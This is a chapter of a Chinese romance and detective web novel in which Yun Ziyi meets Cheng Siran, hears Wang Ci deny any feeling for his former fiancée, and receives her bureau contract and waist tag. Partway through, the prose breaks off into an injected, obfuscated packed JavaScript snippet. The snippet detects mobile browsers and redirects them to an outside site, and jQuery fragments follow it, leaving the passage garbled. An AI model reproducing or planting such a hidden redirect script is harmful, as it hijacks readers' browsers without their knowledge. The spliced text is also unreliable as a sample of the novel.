45. 第 45 章
作品:《稽察司探案录》 春桃拉起她的手就要快步往府中走,似乎是不想叫两辆马车中的人碰面。
“怎么了……”她不明所以,跟着刚走两步,忽然身后传来一声娇喝。
“你们给我站住——”
春桃一听对面已经发现了,登时腿下加速,脚步如风,眨眼间就带着云紫怡飞入府门中。
马车上的人发现她们竟丝毫不将她放在眼里,一时间又气又恼,大喊了声“站住”,随后竟飞身跃下马车,又轻而易举躲过想要阻拦的门房,足尖点地,眨眼间就已拦在她们身前。
春桃见避开不能,只能硬着头皮向对面行了一礼,“见过程娘子。”
来人与她年纪相仿,一身利落骑装,头发高高束成马尾,只绑一条简单发带,双眼狭长锐利,眉眼间英气十足。
“你就是冷面条带回来的那个小娘子?”
云紫怡一愣,半天才反应过来她说的是王慈。
春桃脸色煞白,在她旁边小声耳语道,“这位是户部尚书家的千金,程思然……”
户部尚书,千金。
春桃话还没说完,她却猛然想起那天,陆夫人与云阳伯在小路中央说的话。
这是云阳伯府想要拒绝,对方不同意,然后直接杀到府上来了?
还好巧不巧就叫她给碰见了。
虽说她并没有想要夺人所爱,可耐不住悠悠众口,门房和府中的侍女一个劲儿地往这儿偷瞧,街上不时有行人有意无意驻足,想必要不了明天,大街小巷就传遍云阳伯府深陷感情漩涡的消息了。
云紫怡犹豫了一下,还是干脆利落解释道,“程娘子,你误会了,我对他没有多余的感情,不是你们想的那样。”
“我因在稽察司所涉案子特殊,所以暂不便住在客栈。我已经在寻合适的宅子了,最多七日内,我会第一时间搬出府。”
她言语间目光坦荡,确实不似作伪。
程思然愣住,像是没想到她会坦然拒绝,一时间有些忍不住笑出声,“没想到冷面条也有今天。”
顶着云紫怡不解的目光,程思然摆摆手,“不用用那种眼神看着我,你放心,我对他也没有多余的感情。”
这下轮到云紫怡愣住了。
“这亲事解了就解了,本来就是我父亲的一厢情愿。”
“再说了,从来都是别人来求本姑娘,何时轮到过我去求别人?为了一小小婚约,不值得。”
春桃适时耳语道,“当今户部尚书,乃是上门女婿,程娘子母族显赫,‘程’之姓氏,是随母姓。”
云紫怡恍然,倒是对程思然的傲气与率性有几分佩服。
“先前是我误会程娘子了。”她笑笑。
程思然回道,“也是我鲁莽了些,我从小性子尖利,还望今日未冲撞到娘子。”
“本来亲事已解,我应当立即回去,但怎奈起了好奇心,想要瞧瞧能镇住冷面条的到底是什么样的娘子,这才擅自留下见了一面。”
程思然解释道,又从怀中掏出一张请帖,递给云紫怡。
“明日我赴任大理寺卿一职,晚些时候会另起设宴,今日一见娘子颇合眼缘,若介时有时间,还请一定来与我吃一杯酒。”
云紫怡接过帖子,目光粘在“大理寺卿”四个大字上一动未动,不由得惊呼道,“程娘子当真优秀!”
忽又想到什么,她惊喜出声,“那程娘子岂不是成了那个热面条的顶头上官?”
程思然扑哧一声笑出声,心想傅望秋那小子真是能惹事,走到哪儿都能惹一身仇恨。
不远处又传来马车车轮声,程思然目力极好,一眼瞧出是王慈回来了,随即和云紫怡挥了挥手,转身上了马车。
“改日再会!”爽朗的声音随着夜风传来。
“再会!”她亦是冲着马车尾高声喊了一句。
车窗中伸出一只手向后挥了两下,随后马车消失在夜色中。
另一个方向,王慈的马车从黑暗中驶出,稳稳停在府门口一盏灯笼投下的光晕下。
“怎么还不回屋?”
王慈从马车中走下,身上带了一丝疲惫,“在宫中耽搁了一会儿,没来得及去接你,你那边可有出什么意外?”
“没有。”云紫怡摇摇头。
王慈从一开始便瞧见她手中抓着什么东西,以为是从梅英那里拿回来的,刚想凑近些去接过,没想到刚刚低头,一股醉人的桂花气便闯入鼻腔。
“喝酒了?”他皱了皱眉头。
“陪梅司使喝了一点。”她又复述一遍。
“喝酒了还在这里吹风,要是明天起来头痛可不要找我。”
说罢王慈又转身吩咐春桃,“回去后叫小厨房准备一些蜜水还有温粥。梅英那边好准备酸梅子下酒,她肯定贪嘴多吃了许多。”
春桃得令,说想先回去准备,一眨眼便跑没影儿了。
门口只剩他们两个人,两个院子又是邻居,索性就一同慢慢走回去了。
“从梅英那里带回来的?”王慈指了指她手中的帖子。
“不是,是程娘子给的。”
云紫怡一边踢着石子儿,一边漫不经心地回答道,“程娘子要当大理寺卿啦,就是傅望秋那个讨人厌的家伙的顶头上官。她说之后会设宴庆贺,想请我一同去吃酒。”
“程思然?她方才来过了?”王慈忽然停住脚步。
“来过了,怎么啦?”她已经走出两步,又转过身来,眸中带着一丝不解。
王慈一顿,尔后缓缓开口道,“这门亲事,我此前毫不知情,并非我有意。”
“先前从未与你说起,是因为我也是进宫之时才得知的。”
“我对她,没有任何多余的感情。”
桂花酿的味道还残存在他鼻尖,王慈一口气说了许多,说完又有些心生懊悔,不知自己是不是有些莽撞了。
他觉得自己今日好生奇怪,明明滴酒未沾,却好似分外醉人。
“哦,这样啊。”云紫怡点点头。
她脑袋晕乎乎的,不由自主又开口问道,“你为何忽然与我说这许多?”
王慈紧握的指尖又松开,他忽然有些庆幸夜黑,这条路上又未放置灯笼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881827|175986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“没什么,走吧,要起风了。”
“哦,好。”云紫怡抬腿跟上。
但不知为何,这次喝酒,好像她的心情并没有很差。
路上磨蹭了一会儿,等回到院中时,春桃已经端上来一盏蜜水与一碗青菜瘦肉粥。
小粥咸香扑鼻,她还未用过晚膳,此刻腹中空空,不由得食指大动。
许是今日多饮了几杯,云紫怡很快便觉得昏昏欲睡,卸下头钗时眼皮子都睁不开了,几乎是一沾枕头便陷入黑甜。
一墙之隔的贰号院,王慈听完来人禀报的方才门口发生的事后,屋中的烛火亮了一夜,直到天光微亮时才渐渐熄灭。
……
第二天一早,云紫怡饱睡一夜,神清气爽,所以在见到眼底乌青目光幽怨的王慈时,着实被吓了一大跳。
“大人这是昨日忙了一夜公务?着实是勤奋!”她感叹道,一边又懊悔昨日贪杯,不过幸好没影响正事。
此话一出,收到了对方更为幽怨的目光,云紫怡顿时讪讪闭嘴。
“来我书房,有事跟你说。”
云紫怡乖巧跟在他后面,二人一同踏入了贰号院。
先前,在即将抵达上京的前一天晚上,她已经给了王慈答复,说她同意正式任职于稽察司。
那时王慈倒没表现出什么太过惊讶的表情,只是她感觉,对方好似重重地松了一口气。
“可是昨日入宫有什么收获?”她问道。
“不急,先来拿这个。”说罢,王慈忽然递给她一只锦盒。
拿到手中沉甸甸的,她小心翼翼打开,里面铺着一层黄色锦缎。锦缎上面,静静躺着一纸书契,还有一枚乌黑的腰牌。
不同于他们以往签下的简陋版书契,这张书契纸质精良,入手华润厚重,上面层层叠叠的印花暗纹,细闻之下,还有丝丝奇特香气。
“宫中专为稽察司特制的书契,不怕撕扯破坏,不怕火烧水浸,不怕虫蛀褪色,简而言之,只有用专门的秘法才能将它毁去。”
王慈又指了指黄锦与红方印,“御赐之物,盖了宫印的。”
云紫怡惊讶愣住,“这……竟如此之隆重。”
对方耸耸肩,眼中泛起一丝笑意,“怎么,觉得后悔了?”
“我一早便已经告知于你,这次可不等同于与我们以往签过的那些书契,既答应了,便再无法反悔。”
“我也没说要后悔呀。”看清他眼中的揶揄,云紫怡嘀咕道。
她又摸了摸一旁那块腰牌,触感温凉细腻,上面刻有她的名字,然后是稽察司三个小字。
“刻得真好看。”她忍不住拿起来欣赏。
“是吗?”王慈笑笑,“昨日我亲手刻的。”
“……”
云紫怡唰一下将东西物归原处,然后将锦盒收起来,板起一张小脸道,“快开始吧,你昨日入宫得到什么线索?”
王慈将昨日在宫中经历一一简述给她,尽管她昨日已经在梅英那里有了些许眉目,已经做好了一些心理准备,但乍然一听到事情原委,她还是忍不住心惊。